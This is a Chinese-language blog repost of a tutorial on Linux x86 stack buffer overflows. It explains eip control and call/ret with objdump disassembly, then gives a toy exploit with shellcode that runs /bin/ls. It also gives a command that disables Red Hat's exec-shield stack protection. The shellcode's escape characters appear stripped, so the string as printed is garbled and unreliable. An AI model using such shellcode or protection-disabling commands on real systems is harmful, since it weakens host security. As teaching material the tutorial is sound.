我是靠谱客的博主 美满香氛,最近开发中收集的这篇文章主要介绍linux缓冲区攻击实验报告,linux 下缓冲区溢出攻击原理及示例,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一、溢出目标

无论是在windows下还是在linux下,溢出攻击基本上都是以控制计算机的执行路径为目标,而x86下执行哪条指令是由eip寄存器来控制的,所以如果能够修改eip寄存器的值,就可以修改计算机的执行路径。 所以溢出的目标:控制eip寄存器。

二、关于call/ret

但是如何修改eip寄存器呢?在汇编指令中有一个和eip寄存器紧密相关的指令ret,ret就可以理解为pop eip。而ret指令在正常函数调用的时候都会执行的。

我们来看下linux中函数调用的例子:

#include

int swap(int *a, int *b)

{

int t;

t = *a;

*a = *b;

*b = t;

}

int main()

{

int a;

int b;

a = 6;

b = 8;

//printf("%d %d/n",a,b);

swap(&a,&b);

//printf("%d %d/n",a,b);

return ;

}

下面是objdump –d 得到的 汇编指令。

08048344 :

8048344: 55 push %ebp

8048345: 89 e5 mov %esp,%ebp

8048347: 83 ec 10 sub $0x10,%esp

804834a: 8b 45 08 mov 0x8(%ebp),%eax

804834d: 8b 00 mov (%eax),%eax

804834f: 89 45 fc mov %eax,-0x4(%ebp)

8048352: 8b 45 0c mov 0xc(%ebp),%eax

8048355: 8b 10 mov (%eax),%edx

8048357: 8b 45 08 mov 0x8(%ebp),%eax

804835a: 89 10 mov %edx,(%eax)

804835c: 8b 55 0c mov 0xc(%ebp),%edx

804835f: 8b 45 fc mov -0x4(%ebp),%eax

8048362: 89 02 mov %eax,(%edx)

8048364: c9 leave

8048365: c3 ret

08048366 :

8048366: 8d 4c 24 04 lea 0x4(%esp),%ecx

804836a: 83 e4 f0 and $0xfffffff0,%esp

804836d: ff 71 fc pushl -0x4(%ecx)

8048370: 55 push %ebp

8048371: 89 e5 mov %esp,%ebp

8048373: 51 push %ecx

8048374: 83 ec 18 sub $0x18,%esp

8048377: c7 45 f8 06 00 00 00 movl $0x6,-0x8(%ebp)

804837e: c7 45 f4 08 00 00 00 movl $0x8,-0xc(%ebp)

8048385: 8d 45 f4 lea -0xc(%ebp),%eax

8048388: 89 44 24 04 mov %eax,0x4(%esp)

804838c: 8d 45 f8 lea -0x8(%ebp),%eax 804838f: 89 04 24 mov %eax,(%esp)

8048392: e8 ad ff ff ff call 8048344

8048397: 83 c4 18 add $0x18,%esp

804839a: 59 pop %ecx

804839b: 5d pop %ebp

804839c: 8d 61 fc lea -0x4(%ecx),%esp

804839f: c3 ret

我们用图来解释一下在函数调用时都发生了什么。

fc77ed0ed7a6839fe73c6d0318468862.png

下面是几个有用的结论:

1、当被调用函数开始执行时堆栈由高地址到低地址依次是:被调用函数的参数(参数n,参数n-1……,参数0),eip的原始值,ebp的原始值,被调用函数自己的局部变量。这些东东不一定是连续存储的。

2、被调用函数的局部变量的地址我们是可以知道的,保存eip原始值的位置就在局部变量的不远处。

3、当被调用函数返回时,由ret指令恢复现场,把堆栈中的eip的原始值交还给eip。

那么,我们只要找到堆栈中eip原始值的存储位置,把他改成shellcode的地址就OK了。

三、一个例子

这个例子是当main函数(也是被别的函数调用的,只不过名字比较特殊)返回时,我们把eip改掉,让他来执行/bin/ls。这段代码在arch linux是可以执行的。

char shellcode[] =

"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"

"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"

"x80xe8xdcxffxffxffx2fx62x69x6ex2fx6cx73x00xc9xc3";

int main ()

{

int buf[1];

buf[7] = (int) shellcode;

return 0;

}

四、关于堆栈保护

但是上面的代码在redhat下面运行就会报段错误。因为redhat使用了堆栈保护技术,就是数据段的数据尤其是堆栈段的数据是不能被执行。

我们可以执行首先执行 sudo echo 0 | tee /proc/sys/kernel/exec-shield。

再运行上面的那个例子,不出意外的话应该溢出成功了:在redhat下堆栈保护的开关是由/proc/sys/kernel/exec-shield这个文件控制的。

在实际攻击时,还有其他巧妙的方法绕过Linux不可执行堆栈保护。

最后

以上就是美满香氛为你收集整理的linux缓冲区攻击实验报告,linux 下缓冲区溢出攻击原理及示例的全部内容,希望文章能够帮你解决linux缓冲区攻击实验报告,linux 下缓冲区溢出攻击原理及示例所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(32)

评论列表共有 0 条评论

立即
投稿
返回
顶部